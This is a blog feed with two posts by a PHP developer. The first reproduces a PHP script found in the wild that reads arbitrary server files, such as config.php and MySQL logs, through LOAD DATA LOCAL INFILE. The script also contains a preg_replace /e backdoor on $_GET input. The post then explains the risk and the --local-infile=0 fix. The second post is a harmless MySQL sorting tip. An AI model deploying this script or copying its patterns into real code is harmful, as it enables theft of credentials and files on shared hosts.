Yet Another Angry Web Developer » DBA http://marco-pivetta.com Web Development as seen by a Web Developer Thu, 16 May 2013 20:30:39 +0000 en-US hourly 1 http://wordpress.org/?v=4.2.5 PHP Security Exploit: MySQL as a Backdoor with Load Data Local Infile http://marco-pivetta.com/php-exploit-mysql-backdoor-with-load-data-local-infile/ http://marco-pivetta.com/php-exploit-mysql-backdoor-with-load-data-local-infile/#comments Sun, 09 Oct 2011 22:11:40 +0000 http://marco-pivetta.com/?p=109 Continue reading ]]> Yesterday I stumbled on a piece of code shown me by my friend Andrea Guglielmo.

It is an exploit that could affect mostly shared hosting solutions, and which I’ve never seen before, even if it has not been invented recently.

It is not really well written piece of PHP code:

  • you can immediately notice that it requires ini_set('short_open_tag', true);
  • it is vulnerable to sql injections
  • it allows arbitrary MySQL credentials (username, password and database) to be passed in via $_GET

But this is not the point of the discussion.

Let’s first get our eyes on it:

<?
$mysql_host = (isset($_GET[mysql_host]))?$_GET[mysql_host]:"localhost";
$mysql_user = (isset($_GET[mysql_user]))?$_GET[mysql_user]:"";
$mysql_pass = (isset($_GET[mysql_pass]))?$_GET[mysql_pass]:"";
$calcname = explode(".",getenv("HTTP_HOST"));
$mysql_name =(isset($_GET[mysql_name]))?$_GET[mysql_name]:"my_".$calcname[0];
$mysql_xploit = preg_replace("/(.+)/e", $_GET[db], $_GET[db]);
$path = (isset($_GET[path]))?$_GET[path]:"/membri/SITO/config.php";
$limit = (isset($_GET[limit]))?$_GET[limit]:"0,30";
$search = (isset($_GET[search]))?$_GET[search]:"";
?>
<form action="#" method="GET">
host <input type=text name=mysql_host value='<?=$mysql_host;?>'/><br />
user <input type=text name=mysql_user value='<?=$mysql_user;?>'/><br />
pass <input type=text name=mysql_pass value='<?=$mysql_pass;?>'/><br />
name <input type=text name=mysql_name value='<?=$mysql_name;?>'/><br />
path <input type=text name=path value='<?=$path;?>' /><br />
[ limit <input type=text name=limit value='<?=$limit;?>' /> ]<br />
[ search <input type=text name=search value='<?=$search;?>' /> ]<br />
<input type=submit value=send />
</form>
<?

if (isset($_GET[mysql_host])) {
  $search = $_GET[search];
  $link = mysql_connect($_GET['mysql_host'], $_GET['mysql_user'], $_GET['mysql_pass'])or die(mysql_error());
  $db = mysql_select_db($_GET['mysql_name']);
  $path = $_GET['path'];
  $limit = $_GET['limit'];
  $query = "CREATE TABLE `exploit` (`path` longtext not null);";
  $delete =  "DROP TABLE `exploit`;";
  $bypass = "LOAD DATA LOCAL INFILE '$path' INTO TABLE exploit;";
  $l = (!empty($_GET[limit])) ? " LIMIT $limit" : "";
  $fu = "SELECT * FROM exploit".$l;
  mysql_query($delete);
  mysql_query($query)or die(mysql_error());
  mysql_query($bypass)or die("Mysql-exploit-error : ".mysql_error());
  $res = mysql_query($fu)or die(mysql_error());
  $txt = "";
  while($row = mysql_fetch_array($res)) {
    $txt .= $row[path]."\n";
  }
  $output = "<form action=# method=POST><input type=hidden name=mode value=sqlwritefile>
  <textarea rows=30 cols=100 name=newtext>".htmlspecialchars($txt)."</textarea></form>";
}

if (!empty($search)) {
  $q = "SELECT * FROM exploit WHERE path LIKE '%".$search."%'";
  $result = mysql_query($q)or die("Mysql-exploit-error : ".mysql_error());
  $txt2 = "";
  while($riga = mysql_fetch_assoc($result)) {
    $txt2 .= $riga[path];
  }
  $output .= "Search results: <form action=# method=POST><input type=hidden name=mode value=sqlwritefile>
  <textarea rows=30 cols=100 name=newtext>".htmlspecialchars($txt2)."</textarea></form>";
}
echo $output;
?>

So here’s what it does:

  1. connects to a MySQL database
  2. creates a table called “exploit
  3. loads data from an arbitrary path passed in by $_GET['path']
  4. Allows querying for data

So you could ask me: Marco, what’s the problem? We already do that with file_get_contents($path).

The problem is that MySQL is a service running on it’s own. Usually, your PHP process is “jailed” within the limits of the www-data user or the one that suPHP has provided you…
I’m thinking of a standard Debian installation, where MySQL usually runs under user “mysql”, which has access to some interesting stuff, like /var/log/mysql.err, /var/log/mysql.log.*, /var/log/mysql/* and /var/lib/mysql/*, and this without considering all what the privileges of the user “mysql” implies.

So what about copying an entire log file or binlog file into the “exploit” table and displaying it to anonymous evil h4x0r? Creepy…

Here’s a sample I’ve just tested:

mysql> create database exploittest;
Query OK, 1 row affected (0.00 sec)
mysql> use exploittest;
Database changed
mysql> CREATE TABLE `exploit` (`path` longtext not null);
Query OK, 0 rows affected (0.01 sec)

mysql> LOAD DATA LOCAL INFILE '/var/lib/mysql/test.txt' INTO TABLE exploit;
Query OK, 3 rows affected (0.05 sec)
Records: 3 Deleted: 0 Skipped: 0 Warnings: 0

mysql> select * from exploit;
+--------+
| path |
+--------+
| aaaa |
| bbbbb |
| cccccc |
+--------+
3 rows in set (0.00 sec)

Well, there’s a simple solution you SHOULD adopt if you have any customers with access to PHP code on your server. Here’s what the MySQL manual states:

You can disable all LOAD DATA LOCAL statements from the server side by starting mysqld with the –local-infile=0 option.

You can could read more about it here:

MySQL LOAD DATA LOCAL INFILE.

Always remember that security is NEVER enough!

 

This page has been translated into Spanish language by Maria Ramos from Webhostinghub.com.

]]>
http://marco-pivetta.com/php-exploit-mysql-backdoor-with-load-data-local-infile/feed/ 2
MySQL Custom Sorting Rules http://marco-pivetta.com/mysql-custom-sorting-rule-mysql/ http://marco-pivetta.com/mysql-custom-sorting-rule-mysql/#comments Fri, 08 Oct 2010 11:12:39 +0000 http://marco-pivetta.com/?p=21 Continue reading ]]> Today I was facing troubles with the administrative dept of the web agency where I’m working in… They wanted to have their receiptive structures sorted by a custom role…

What I first thought about was a MySQL Union query where I had to fetch all distinct types of receiptive structures (Hotels, B&Bs, Campings, etc…) in the desired order in different parametrized queries… Something like the following:

(
  SELECT
    1 as sorting_column,
    *
  FROM receiptive_structures
  WHERE type_id=4
) AS a
UNION ALL
(
  SELECT
    2 as sorting_column,
    *
  FROM receiptive_structures
  WHERE type_id=2
) AS b
UNION ALL
(
  SELECT
    3 as sorting_column,
    *
  FROM receiptive_structures
  WHERE type_id=7
) AS c
UNION ALL
(
  SELECT
    4 as sorting_column,
    *
  FROM receiptive_structures
  WHERE type_id=1
) AS d
ORDER BY sorting_column ASC

Althrough the ‘sorting_column’ shouldn’t be necessary, I had too many bad experiences with mysql and its sorting features (expecially when merging together resultsets, like in this case).

Nasty solution…
I decided to continue looking for a more elegant way of doing this…

I decided to use some kind of on-the-fly generated function in the ORDER BY clause of my MySQL Custom Sorting Query:

SELECT
((type_id=4)*1
+(type_id=2)*2
+(type_id=7)*3
+(type_id=1)*4) AS sorting_column,
r.*
FROM receiptive_structures AS r
ORDER BY sorting_column ASC

Still looks ugly…
Digging into the MySQL manual, found out that there’s a faster way of doing that!

SELECT * FROM receiptive_structures
ORDER BY FIELD(priority, 4,2,7,1);

And here’s a quick overview of the MySQL FIELD() “weight” function :)

Database changed
mysql> select id, FIELD(id,4,2,7,1) AS sorting
    -> FROM l10n ORDER BY sorting DESC limit 5;
+----+---------+
| id | sorting |
+----+---------+
|  1 |       4 |
|  7 |       3 |
|  2 |       2 |
|  4 |       1 |
|  3 |       0 |
+----+---------+
5 rows in set (0.00 sec)

I hope this will be useful for you :)

]]>
http://marco-pivetta.com/mysql-custom-sorting-rule-mysql/feed/ 1